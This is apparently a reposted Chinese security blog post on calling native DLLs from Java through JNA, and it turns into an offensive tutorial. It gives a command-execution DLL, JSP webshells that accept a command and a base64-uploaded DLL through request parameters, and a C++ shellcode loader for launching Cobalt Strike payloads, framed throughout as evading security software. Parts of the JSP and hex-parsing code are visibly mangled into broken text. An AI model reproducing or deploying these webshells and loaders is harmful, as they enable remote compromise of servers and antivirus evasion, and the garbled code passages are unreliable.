百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术分析 > 正文

JNA 调用动态链接库

liebian365 2025-03-12 16:27 1 浏览 0 评论

前言

在一次实际项目中遇到了无法调用exe可执行文件,利用JNA技术实现了内存加载exe、执行命令等操作,特来实践一下。

JNA 基础知识

JNA全称:Java Native Access,是建立在JNI(Java Native Interface)技术之上的Java开源框架,JNA提供了一组Java工具类用于在运行期间动态访问的系统本地库。
简单理解就是:JNA提供了一个"桥梁",可以利用Java代码直接访问动态链接库中的函数。

调用JNI接口

调用JNI接口的步骤为:

  • 创建工程,将dll文件放到工程下
  • 引入JNA相关的jar包
  • 创建继承自Library类的接口
  • 接口中创建对象用于加载DLL/SO的类库
  • 接口中声明DLL/SO类库头文件中暴露的方法
  • 调用该方法

编译DLL

以windows为例,使用Visual Studio 创建一个动态链接库的工程,并定义一个头文件testdll.h和源文件testdll.cpp。
简单实现一个SayHello的方法
创建testdll.cpp,作用是用来实现被声明的函数。

#include "pch.h"
#include "testdll.h"

void SayHello()
{
    std::cout << "Hello!你成功了!" << std::endl;
}

创建testdll.h头文件,作用是用来声明需要导出的函数接口

#pragma once
#include 

extern "C" __declspec(dllexport) void SayHello();
//声明一个可被调用的函数“SayHello()”,它的返回类型是void。
//extern "C"的作用是告诉编译器将被它修饰的代码按C语言的方式进行编译
//__declspec(dllexport),此修饰符告诉编译器和链接器被它修饰的函数或变量需要从DLL导出

而后编译出dll。
注意:要DLL位数要与JDK位数相同,否则无法调用。

导入JAR包

首先创建java工程,可以是普通项目也可以是maven功能。
maven 需要导入依赖


  net.java.dev.jna
  jna
  5.13.0


  net.java.dev.jna
  jna-platform
  5.13.0

普通工程可以在
https://github.com/java-native-access/jna 下载jna jar包和platform jar包并导入。

调用DLL

我们需要继承Library类接口,调用Native类的load方法将我们的testdll.dll加载进来并转换为本地库,而后声明SayHello方法。

public interface Mydll extends Library {

    Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);
    void SayHello();
}

调用时不需要链接库的后缀,会自动加上。
声明SayHello方法时,结合testdll.h头文件,没有返回值为void,也没有需要的数据类型。(需要的话可查找JNA 数据类型对应关系)

然后在主方法里调用SayHello方法

public static void main(String[] args) {
    Mydll.mydll.SayHello();
}

可以看到成功调用了testdll.dll的SayHello方法。

加载动态链接库

在上面的代码中,我们直接利用Native.load将dll转换为本地库,在此之前缺少了加载这一步。
常见的加载动态链接库有三种方法:

  • System.load / System.loadLibrary
  • Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary
  • com.sun.glass.utils.NativeLibLoader.loadLibrary

在使用时也有一些区别:load接收的是系统的绝对路径,loadLibrary接收的是相对路径。
但实际利用过程中肯定是绝对路径优先于相对路径。
以Runtime.getRuntime().load为例:

但实际利用可能会被安全软件捕捉。我们反射调用loadLibrary方法。
代码来自Java加载动态链接库这篇文章

try {
    Class clazz = Class.forName("java.lang.ClassLoader");
    java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
    method.setAccessible(true);
    method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
    Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);
    mydll.SayHello();
}catch (Exception e){
    e.printStackTrace();
}

场景利用

现在我们想一下具体场景的利用,在此基础上调整我们的代码。

webshell

既然jna加载动态链接库后转换为本地库,可以调用dll的任意方法,那实现一个命令执行应该也是可以的。

#include "pch.h"
#include "command.h"

#include 
#include 

void executeCommand(const char* command) {
    char psBuffer[128];
    FILE* pPipe;

    if ((pPipe = _popen(command, "r")) == NULL)
    {
        exit(1);
    }

    while (fgets(psBuffer, 128, pPipe))
    {
        puts(psBuffer);
    }

    int endOfFileVal = feof(pPipe);
    int closeReturnVal = _pclose(pPipe);

    if (endOfFileVal)
    {
        printf("\nProcess returned %d\n", closeReturnVal);
    }
    else
    {
        printf("Error: Failed to read the pipe to the end.\n");
    }
}

相应的头文件

#pragma once
#include 

extern "C" __declspec(dllexport) void executeCommand(const char* command);

java代码加载并调用。

import com.sun.jna.Library;
import com.sun.jna.Native;

public class test {

	public interface Mydll extends Library {
        void executeCommand(String command);
    }
    public static void main(String[] args) {
    	try {
            Class clazz = Class.forName("java.lang.ClassLoader");
            java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
            Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);
            mydll.executeCommand("ipconfig");
    	}catch (Exception e){
            e.printStackTrace();
        }

    }

}

成功实现。结合实际利用我们还需要优化一下代码,改成jsp脚本文件。因为com.sun.jna包是第三方包,在实际利用肯定没有。所以这里选择将自己写的代码和jna.jar一块用maven打包为
maven02-1.0-SNAPSHOT-jar-with-dependencies.jar试试。

再把test类名修改为show,把dll动态链接库和将要执行的命令作为参数传递进去。
现在还差一个加载外部的jar包并调用方法的jsp脚本文件。

<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.net.URL'>
<%@ page import='java.net.URLClassLoader'>


<%
    String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
    URLClassLoader urlClassLoader =null;
    Class MyTest = null;
    //通过URLClassLoader加载外部jar
    urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
    //获取外部jar里面的具体类对象
    MyTest = urlClassLoader.loadClass("com.jna.jnatest");
    //创建对象实例
    Object instance = MyTest.newInstance();
    //获取实例当中的方法名为show
    Method method = MyTest.getMethod("show", String.class,String.class);
    //传入实例以及方法参数信息执行这个方法
    Object ada = method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami");
%>

这样用的时候需要向目标服务器手动上传两个文件,jar包和dll文件。我们再进一步优化一下。

<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.net.URLClassLoader'>
<%@ page import='java.net.URL'>

<%! private string getfilename string filename java.util.random random='new' java.util.randomsystem.currenttimemillis string os='System.getProperty("os.name").toLowerCase();' if os.containswindows filename='C:\\Windows\\Temp\\' random.nextint10000000 .dll else filename='/tmp/' random.nextint10000000 .so return filename public string uploadbase64dllstring base64 throws exception sun.misc.base64decoder b='new' sun.misc.base64decoder java.io.file file='new' java.io.filegetfilename java.io.fileoutputstream fos='new' java.io.fileoutputstreamfile fos.writeb.decodebufferbase64 fos.close return file.getabsolutepath>
<%
    try{
        String cmd = request.getParameter("cmd");
        String base64 = request.getParameter("base64");
        String file =  UploadBase64DLL(base64);
        String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
        //通过URLClassLoader加载外部jar
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
        //获取外部jar里面的具体类对象
        Class MyTest = urlClassLoader.loadClass("com.jna.jnatest");
        //创建对象实例
        Object instance = MyTest.newInstance();
        //获取实例当中的方法名为show,参数只有一个且类型为string的public方法
        Method method = MyTest.getMethod("show", String.class,String.class);
        //传入实例以及方法参数信息执行这个方法
        Object ada = method.invoke(instance, file,cmd);


    }
    catch (Exception e){
        out.println(e);
    }

%>

现在只需要手动上传一个jar包就可以,dll通过base64编码上传上去。这样参数值就是base64编码之后的dll和cmd要执行的系统命令。

唯一的缺点就是不能在前端显示,或许将代码加入到冰蝎可以实现?

shellcode

既然前端无法获取结果,那直接加载shellcode上线cs呢?
我们利用同样的方式写出加载shellcode的代码。
shellcode.cpp

#include "shellcode.h"
#include 


using namespace std;

void shellcode(PCHAR code, DWORD buf_len) {

    cout << buf_len << endl;
    DWORD oldprotect = 0;
    LPVOID  base_addr = NULL;
    //  申请一块buf_len长度大小的空间,RW权限,不要开rwx,PAGE_EXECUTE_READWRITE 
    base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 复制shellcode到新的空间,这个函数比较罕见,用memcpy也可以呀
    unsigned char HexNumArray[4096];
    int num = HexStr2HexNum(code, buf_len, HexNumArray);
    RtlMoveMemory(base_addr, HexNumArray, buf_len);
    // 修改为执行RX权限
    VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
    cout << "starting spawn shellcode" << endl;
    // 当前进程创建线程执行shellcode
    auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
    // 等待线程返回值
    WaitForSingleObject(ct, -1);
    // 释放内存
    free(base_addr);
}

int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray)
{
    int j = 0;
    for (int i = 0; i < len i if hexstrarrayi='= 0x5C' hexstrarrayi='= 0x58' hexstrarrayi='= 0x78)' continue char high_byte='0;' char low_byte='0;' high 4 if hexstrarrayi>= 0x30 && HexStrArray[i] <= 0x3a high_byte='HexStrArray[i]' - 0x30 else if hexstrarrayi>= 0x41 && HexStrArray[i] <= 0x47 high_byte='HexStrArray[i]' - 0x37 else if hexstrarrayi>= 0x61 && HexStrArray[i] <= 0x67 high_byte='HexStrArray[i]' - 0x57 else printfplease make sure the format of hex string is correct\r\n printfthe wrong char is \c\ and its number is d\r\n hexstrarrayi i return -1 low 4 if hexstrarrayi 1>= 0x30 && HexStrArray[i + 1] <= 0x3a low_byte='HexStrArray[i' 1 - 0x30 else if hexstrarrayi 1>= 0x41 && HexStrArray[i + 1] <= 0x47 low_byte='HexStrArray[i' 1 - 0x37 else if hexstrarrayi 1>= 0x61 && HexStrArray[i + 1] <= 0x67)
        {
            LOW_BYTE = HexStrArray[i + 1] - 0x57;
        }
        else
        {
            printf("Please make sure the format of Hex String is correct!\r\n");
            printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
            return -1;
        }

        HexNumArray[j] &= 0x0F;
        HexNumArray[j] |= (HIGH_BYTE << 4);
        HexNumArray[j] &= 0xF0;
        HexNumArray[j] |= LOW_BYTE;
        j++;
    }
    return 0;
}

shellcode.h

#pragma once
#include 


extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size);
int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);

在java里加载并调用,传入shellcode和长度。以达到更好的免杀性。

import java.util.Base64;
import com.sun.jna.Library;
import com.sun.jna.Native;


public class test {

	public interface Mydll extends Library {
        void shellcode(byte[] b,int length);
    }

    public static void show(String base64,String dllpath,String dllname) {
        try {
            Class clazz = Class.forName("java.lang.ClassLoader");
            java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(null, clazz, dllpath, true);
            Mydll mydll = (Mydll)Native.load(dllname,Mydll.class);
            byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64);
            int leng = base64decodedBytes.length;
            mydll.shellcode(base64decodedBytes,leng);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
	
	public static void main(String[] args) {
		String base64encodedString = "XHhmY1x4NDhxxxxxxxxxxxxxxx";
		show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna");
    }
}

此时只需要将shellcode值base64编码当做字符传递即可。测试一下

可以看到正常上线,进程为javaw.exe。
那在实际环境中同样不能这样利用。依旧把java代码打包为jar包,再修改一下jsp脚本文件应该就可以在实际运行了。

<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.net.URLClassLoader'>
<%@ page import='java.net.URL'>

<%! private string getfilenamestring dllname string filename string os='System.getProperty("os.name").toLowerCase();' if os.containswindows filename='C:\\Windows\\Temp\\' dllname .dll else filename='/tmp/' dllname .so return filename public string uploadbase64dllstring base64string dllname throws exception sun.misc.base64decoder b='new' sun.misc.base64decoder java.io.file file='new' java.io.filegetfilenamedllname java.io.fileoutputstream fos='new' java.io.fileoutputstreamfile fos.writeb.decodebufferbase64 fos.close return file.getabsolutepath>
<%
    try{

        String shellcode = request.getParameter("shellcode");
        String base64dll = request.getParameter("base64dll");
        String dllname = request.getParameter("dllname");
        String pathdll = UploadBase64DLL(base64dll,dllname);
        String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
        Class MyTest = urlClassLoader.loadClass("com.jna.jnatest");
        Object instance = MyTest.newInstance();
        Method method = MyTest.getMethod("show", String.class,String.class,String.class);
        Object ada = method.invoke(instance,shellcode, pathdll,dllname);

    }
    catch (Exception e){
        out.println(e);
    }

%>

以tomcat为例,shellcode 即将cobaltstrike的shellcode进行base64编码,base64dll 是base64编码dll动态链接库之后的值,dllname即是dll动态链接库的名称。
测试可以正常上线执行命令。上线进程为java.exe。

总结

在学习JNA调用动态链接库的时候,借鉴了很多思路,用稍微复杂点的办法完善自己的代码,来曲折得实现效果。

from https://www.freebuf.com/articles/web/365421.html

相关推荐

月薪 4K 到 4W 的运维工程师都经历了什么?

运维工程师在前期是一个很苦逼的工作,在这期间可能干着修电脑、掐网线、搬机器的活,显得没地位!时间也很碎片化,各种零碎的琐事围绕着你,很难体现个人价值,渐渐的对行业很迷茫,觉得没什么发展前途。这些枯燥无...

计算机专业必须掌握的脚本开发语言—shell

提起Shell脚本很多都有了解,因为无论是windows的Dom命令行还是Linux的bash都是它的表现形式,但是很多人不知道它还有一门脚本编程语言,就是ShellScript,我们提起的Shel...

Linux/Shell:排名第四的计算机关键技能

除了编程语言之外,要想找一份计算机相关的工作,还需要很多其他方面的技能。最近,来自美国求职公司Indeed的一份报告显示:在全美工作技能需求中,Linux/Shell技能仅次于SQL、Java、P...

使用Flask应用框架在Centos7.8系统上部署机器学习模型

安装centos7.8虚拟环境1、镜像链接...

shell编程

简介:Shell是一个用C语言编写的程序,它是用户使用Linux的桥梁。Shell既是一种命令语言,又是一种程序设计语言。...

14天shell脚本入门学习-第二天#脚本和参数#排版修正

脚本是一种包含一系列命令的文本文件,通常用于自动化任务。Shell脚本是用Shell命令编写的脚本,可以在命令行中执行。掌握脚本的基础知识和变量的使用是编写高效脚本的关键。...

嵌入式Linux开发教程:Linux Shell

本章重点介绍Linux的常用操作和命令。在介绍命令之前,先对Linux的Shell进行了简单介绍,然后按照大多数用户的使用习惯,对各种操作和相关命令进行了分类介绍。对相关命令的介绍都力求通俗易懂,都给...

实现SHELL中的列表和字典效果

大家好,我是博哥爱运维。编写代码,很多情况下我们需要有种类型来存储数据,在python中有列表和字典,golang中有切片slice和map,那么在shell中,我们能否实现列表和字典呢,答案是肯定的...

14天shell脚本入门学习-第二天#脚本和变量

脚本是一种包含一系列命令的文本文件,通常用于自动化任务。Shell脚本是用Shell命令编写的脚本,可以在命令行中执行。掌握脚本的基础知识和变量的使用是编写高效脚本的关键。...

shell常用命令之awk用法介绍

一、awk介绍awk的强大之处,在于能生成强大的格式化报告。数据可以来自标准输入,一个或多个文件,或者其他命令的输出。他支持用户自定义函数和动态正则表达式等先进功能,是Linux/unix一个强大的文...

Linux编程Shell之入门——Shell数组拼接与合并

在Shell中,可以使用不同的方式实现数组拼接和合并。数组拼接指将两个数组中的元素合并成一个数组,而数组合并指将两个数组逐个组合成一个新数组。以下是关于Shell数组拼接和合并的详细介绍:数...

shell中如何逆序打印数组的内容,或者反转一个数组?

章节索引图首先请注意,有序的概念仅适用于索引数组,而不适用于关联数组。如果没有稀疏数组,答案会更简单,但是Bash的数组可以是稀疏的(非连续索引)。因此,我们需要引入一个额外的步骤。...

如何学好大数据开发?---shell基本语法

昨天我们初步了解到了shell的一些基本知识,比如shell的分类,常用的shell类型。今天就带来大数据开发之shell基本语法,掌握好基础才是最重要的,那接下来就开始学习shell的基本语法。一、...

Linux编程Shell之入门——Shell关联数组

关联数组是Shell中一种特殊的数组类型,它使用字符串作为下标。在关联数组中,每个元素都被标识为一个唯一的字符串键值,也称为关联数组的索引。在Shell中,可以使用declare或typeset命令...

从编译器视角看数组和指针

虽然有单独的文章描述数组和指针,但二者的关系实在值得再写一篇文章。...

取消回复欢迎 发表评论: